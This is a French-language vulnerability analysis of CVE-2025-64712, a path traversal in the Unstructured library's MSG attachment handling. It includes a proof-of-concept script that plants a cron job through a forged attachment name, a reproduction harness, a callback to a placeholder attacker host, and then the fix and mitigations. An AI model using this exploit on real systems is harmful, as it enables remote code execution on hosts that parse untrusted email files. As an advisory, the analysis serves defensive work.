CVE-2025-64712 : RCE par path traversal dans le traitement des fichiers MSG de la bibliothèque Unstructured
Analyse technique de la CVE-2025-64712, une vulnérabilité critique (CVSS 9,8) de path traversal menant à une exécution de code à distance dans la bibliothèque Python Unstructured (< 0.18.18). Les noms de fichiers joints non assainis dans le traitement des fichiers MSG d'Outlook permettent un path traversal, ce qui autorise un attaquant à écraser des fichiers arbitraires via un fichier MSG forgé et à obtenir une exécution de code.
CVE-2025-64712
RCE critique par path traversal dans le traitement des fichiers MSG de la bibliothèque Unstructured
18 février 2026 · CVSS 9,8 Critical · Unstructured < 0.18.18
| CVE ID | CVSS | Versions affectées | Corrigé |
|---|---|---|---|
| CVE-2025-64712 | 9.8 Critical | < 0.18.18 | 0.18.18+ |
Présentation de la CVE-2025-64712 : path traversal dans la bibliothèque Unstructured
La bibliothèque Python Unstructured est une boîte à outils open source de prétraitement de types de documents complexes. En un peu plus d'un an, la bibliothèque Unstructured a dépassé 4 millions de téléchargements et elle est utilisée dans près de 10 000 dépôts GitHub publics, 100 paquets Python et, en coulisses, dans des dizaines de produits reposant sur des LLM. Cependant, une vulnérabilité critique de path traversal (CWE-22) a été découverte dans sa fonction partition_msg, qui traite les fichiers .msg de Microsoft Outlook. Lorsque le paramètre process_attachments est activé, ce qui est le cas par défaut, la bibliothèque peut être manipulée pour écrire des fichiers en dehors des répertoires temporaires prévus.
def partition_msg(
filename: Optional[str] = None,
*,
file: Optional[IO[bytes]] = None,
metadata_filename: Optional[str] = None,
metadata_last_modified: Optional[str] = None,
process_attachments: bool = True, # the vulnerability trigger
**kwargs: Any,
) -> list[Element]:
<SNIP>
Path traversal dans la bibliothèque Unstructured : gestion non sécurisée des noms de fichiers
À l'origine du problème se trouve une vulnérabilité de path traversal (CWE-22). La fonction _attachment_file_name() de la bibliothèque récupère le nom d'une pièce jointe directement dans le fichier .msg, sans aucun assainissement.
@lazyproperty
def _attachment_file_name(self) -> str:
"""The original name of the attached file, no path.
This value is 'unknown' if it is not present in the MSG file (not
expected).
"""
return self._attachment.file_name or "unknown"
Preuve de concept de la CVE-2025-64712 : exécution de code à distance via path traversal
L'exploitation de la CVE-2025-64712 suit un processus délibéré en trois étapes pour transformer une pièce jointe d'e-mail ordinaire en commande de niveau système. Les étapes suivantes décrivent comment un attaquant passe d'un simple fichier .msg à une exécution de code à distance (RCE) complète.
Étape 1 : forger le fichier .msg initial
L'attaque commence par la génération d'un message Microsoft Outlook (.msg) légitime qui servira de vecteur de livraison.
-
Initialiser le brouillon : ouvrez Outlook et créez un nouveau message.
-
Intégrer le payload : renseignez les champs du message et joignez le fichier contenant votre contenu cible (par exemple, un script de tâche cron destiné au répertoire de configuration de la cible).
-
Exporter le fichier : allez dans File > Save As (ou Download > Download as MSG dans les clients web) pour exporter le message.
L'attaquant joint à ce message un fichier contenant un payload malveillant, comme un script de tâche cron. À ce stade, le fichier est inoffensif, car le nom de la pièce jointe est standard (par exemple, backup_job).

Étape 2 : injecter le chemin de traversée
L'attaquant utilise un script Python spécialisé pour modifier la structure binaire du fichier .msg. En ciblant les structures OLE du fichier, il renomme la pièce jointe, d'un simple nom de fichier en un chemin relatif contenant des séquences de traversée.
-
La transformation : backup_job devient ../../../etc/cron.d/backup_job.
-
Le résultat : un fichier payload.msg forgé est généré, dans lequel le nom de fichier lui-même contient les instructions pour sortir du répertoire temporaire.
#!/usr/bin/env python3
"""
rename_msg_attachment.py
------------------------
Rename an attachment's filename inside a .msg (OLE2/Compound Document) file.
Supports new filenames of ANY length — reallocates mini-sectors as needed.
Edit the three variables below and run:
python rename_msg_attachment.py
"""
import sys
import struct
import shutil
import os
import math
INPUT_FILE = "backup.msg" # Path to the source .msg file
OLD_NAME = "backup_job" # Current attachment filename
NEW_NAME = "../../../etc/cron.d/backup_job" # New attachment filename
OUTPUT_FILE = "payload.msg" # Output path — leave empty "" to overwrite INPUT_FILE
<SNIP>
# Core rename logic
def rename_attachment(input_path, old_name, new_name, output_path):
print(f"[*] Opening: {input_path}")
ole = OleFile(input_path)
attach_storages = find_attach_storages(ole)
if not attach_storages:
err("No attachment storages found in this .msg file.")
print(f"[*] Found {len(attach_storages)} attachment(s).")
renamed = 0
for att in attach_storages:
children = get_children(ole, att['idx'])
by_name = {c['name'].upper(): c for c in children}
long_e = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
short_e = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
disp_e = by_name.get(prop_stream_name(PR_DISPLAY_NAME).upper())
ext_e = by_name.get(prop_stream_name(PR_ATTACH_EXTENSION).upper())
current = None
if long_e:
current = read_unicode(ole, long_e['idx'])
elif short_e:
current = read_unicode(ole, short_e['idx'])
print(f" [{att['name']}] current filename: {current!r}")
if current is None or current.lower() != old_name.lower():
continue
# Encode new values
new_encoded = encode_unicode(new_name)
short_encoded = encode_unicode(short_name(new_name))
parts = new_name.rsplit('.', 1)
new_ext = ('.' + parts[1]) if len(parts) == 2 else ''
ext_encoded = encode_unicode(new_ext)
print(f" [+] Match! Renaming '{current}' -> '{new_name}'")
print(f" old size: {len(encode_unicode(current))} bytes "
f"new size: {len(new_encoded)} bytes")
if long_e:
ole.write_stream(long_e['idx'], new_encoded)
print(f" ✓ Long filename patched.")
if short_e:
ole.write_stream(short_e['idx'], short_encoded)
print(f" ✓ Short filename patched -> '{short_name(new_name)}'")
if disp_e:
ole.write_stream(disp_e['idx'], new_encoded)
print(f" ✓ Display name patched.")
if ext_e:
ole.write_stream(ext_e['idx'], ext_encoded)
print(f" ✓ Extension patched -> '{new_ext}'")
renamed += 1
if renamed == 0:
print(f"\n[!] No attachment named '{old_name}' was found.")
all_names = []
for att in attach_storages:
children = get_children(ole, att['idx'])
by_name = {c['name'].upper(): c for c in children}
long_e = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
short_e = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
name = None
if long_e:
name = read_unicode(ole, long_e['idx'])
elif short_e:
name = read_unicode(ole, short_e['idx'])
if name:
all_names.append(name)
if all_names:
print(f" Available attachment(s): {', '.join(repr(n) for n in all_names)}")
def similarity(a, b):
a, b = a.lower(), b.lower()
return sum(c in b for c in a) / max(len(a), 1)
best = max(all_names, key=lambda n: similarity(old_name, n))
if similarity(old_name, best) > 0.5:
print(f" Did you mean: '{best}' ?")
sys.exit(1)
ole.save(output_path)
print(f"\n[✓] Saved to: {output_path} ({renamed} attachment(s) renamed)")
<SNIP>

Étape 3 : mettre en place l'environnement de test
Pour reproduire la faille, on utilise un environnement contrôlé (généralement un conteneur Docker) pour exécuter la version vulnérable de la bibliothèque unstructured (v0.18.15). Un simple wrapper Python est écrit pour appeler la fonction partition_msg avec l'indicateur critique process_attachments=True activé.
import os
import sys
from unstructured.partition.msg import partition_msg
# Disable the digit limit that causes parser crashes
if hasattr(sys, 'set_int_max_str_digits'):
sys.set_int_max_str_digits(0)
def process_msg():
print("[*] Handing exploit.msg to partition_msg()...")
try:
# This triggers the vulnerable function:
partition_msg(
filename="payload.msg",
process_attachments=True
)
except Exception as e:
# We catch the exception because the parser often crashes
# AFTER the file is written due to OLE sector math errors.
print(f"[!] Parser finished with: {e}")
# THE FINAL VERDICT
if os.path.exists("/etc/cron.d/backup_job"):
print("\n" + "="*45)
print("!!! VULNERABILITY REPRODUCED !!!")
print("The library wrote successfuly to '/etc/cron.d/backup_job'")
with open("/etc/cron.d/backup_job", "r") as f:
print(f"File content: {f.read()}")
print("="*45)
else:
print("\n[-] Exploit failed: /etc/cron.d/backup_job not found.")
if __name__ == "__main__":
process_msg()
Étape 4 : exploitation et RCE
Lorsque le script de reproduction traite le fichier malveillant payload.msg, la bibliothèque extrait la pièce jointe. Faute d'assainissement, elle concatène la chaîne de traversée à son chemin interne et écrit le fichier directement dans un répertoire système de l'hôte.
- Écriture de fichier : la bibliothèque écrit le script de l'attaquant dans /etc/cron.d/backup_job.
- Exécution de commande : le démon cron du système prend en compte la nouvelle tâche, qui peut contenir une commande comme curl http://attacker-ip:port/rce_test.
- Le verdict : l'attaquant observe une requête entrante sur son serveur, ce qui confirme qu'il peut désormais exécuter du code arbitraire sur le système cible.

Comment corriger la CVE-2025-64712 dans la bibliothèque Unstructured
Le moyen le plus efficace de sécuriser votre environnement est de passer à Unstructured version 0.18.18 ou supérieure. Le correctif introduit un processus d'assainissement robuste qui supprime les composants de chemin dangereux.
Analyse du code corrigé
La version corrigée inclut désormais une logique qui nettoie le nom de fichier pour les séparateurs de chemin Unix comme Windows :
# The updated, safe logic in v0.18.18+
raw_filename = self.attachment.file_name or "unknown"
# Remove path components and handle cross-platform attacks
safe_filename = os.path.basename(raw_filename.replace("\\", "/"))
# Strip null bytes and control characters
safe_filename = safe_filename.replace("\0", "")
# Ensure the filename isn't empty or just dots
if not safe_filename or safe_filename in (".", ".."):
safe_filename = "unknown"
Atténuation de la CVE-2025-64712 et bonnes pratiques
- Mettre à jour immédiatement : si vous utilisez unstructured pour le traitement d'e-mails, assurez-vous d'être sur la version 0.18.18 ou sur des versions ultérieures.
- Assainir les entrées : utilisez toujours os.path.basename() lorsque vous manipulez des noms de fichiers fournis par des fichiers externes.
- Vérifier les permissions : exécutez vos scripts de traitement avec les permissions minimales nécessaires afin de limiter l'impact d'une éventuelle vulnérabilité d'écriture de fichier.
| Ressource | Lien |
|---|---|
| Unstructured CVE-2025-64712 | https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m |
| Correctif Unstructured | https://github.com/Unstructured-IO/unstructured/compare/0.18.15...0.18.18 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-64712 |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |